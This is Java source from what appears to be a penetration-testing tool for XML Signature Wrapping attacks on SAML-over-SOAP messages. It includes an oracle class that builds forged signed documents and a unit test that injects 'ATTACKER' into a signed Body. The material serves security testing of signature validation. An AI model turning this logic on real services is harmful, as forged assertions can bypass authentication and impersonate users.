WrappingOracle { public Document getPossibility( int index ) throws InvalidWeaknessException { WeaknessLog.clean(); Document attackDocument = DomUtilities.createNewDomFromNode( originalDocument.getDocumentElement() ); LOG.info( "Creating Wrapping Possibility " + index + " of (" + maxPossibilites + "-1)" ); for ( int i = 0; i < payloadList.size(); ++i ) { Payload payload = payloadList.get( i ); XPathAnalyser xpa = analyserList.get( i ); int possibility = index % xpa.getMaxPossibilites(); index /= xpa.getMaxPossibilites(); Element signedElement = DomUtilities.findCorrespondingElement( attackDocument, payload.getSignedElement() ); Element payloadElement; try { payloadElement = (Element) attackDocument.importNode( payload.getPayloadElement(), true ); } catch ( Exception e ) { LOG.warn( "Could not get Payload Element for " + signedElement.getNodeName() + " / Skipping." ); continue; } Element refferingElement = DomUtilities.findCorrespondingElement( signedElement.getOwnerDocument(), payload.getReferringElement().getElementNode() ); PayloadElement pay = new PayloadElement( payloadElement, refferingElement ); pay.setUseThisPayloadElement( !payload.isWrapOnly() ); SignedElement sig = new SignedElement( signedElement, refferingElement ); xpa.abuseWeakness( possibility, sig, pay ); } return attackDocument; } WrappingOracle( Document originalDocument, List<Payload> payloads, SchemaAnalyzer schemaAnalyser ); int maxPossibilities(); Document getPossibility( int index ); List<Payload> getUsedPayloads(); List<XPathAnalyser> getAnalyserList(); int getCountSignedElements(); int getCountElementsReferedByID(); int getCountElementsReferedByXPath(); int getCountElementsReferedByFastXPath(); int getCountElementsReferedByPrefixfreeTransformedFastXPath(); final static Logger LOG; }
@Test public void samlOverSoapTest() throws Exception { log.info( "### Reading SAML over SOAP message" ); SignatureManager manager = new SignatureManager(); Document doc = DomUtilities.readDocument( "src/test/resources/saml_over_soap.xml" ); manager.setDocument( doc ); assertEquals( 2, manager.getSignatureElements().size() ); assertEquals( 3, manager.getPayloads().size() ); for ( Payload optionPayload : manager.getPayloads() ) { Element signed = optionPayload.getSignedElement(); String name = signed.getLocalName(); if ( name.equals( "Body" ) ) { String thePayload = domToString( signed ).replace( "Hello world1", "ATTACKER" ); assertTrue( optionPayload.isValid( thePayload ) ); optionPayload.setValue( thePayload ); } } WrappingOracle wrappingOracle = new WrappingOracle( doc, manager.getPayloads(), schemaAnalyser ); wrappingOracle.getPossibility( 521 ); }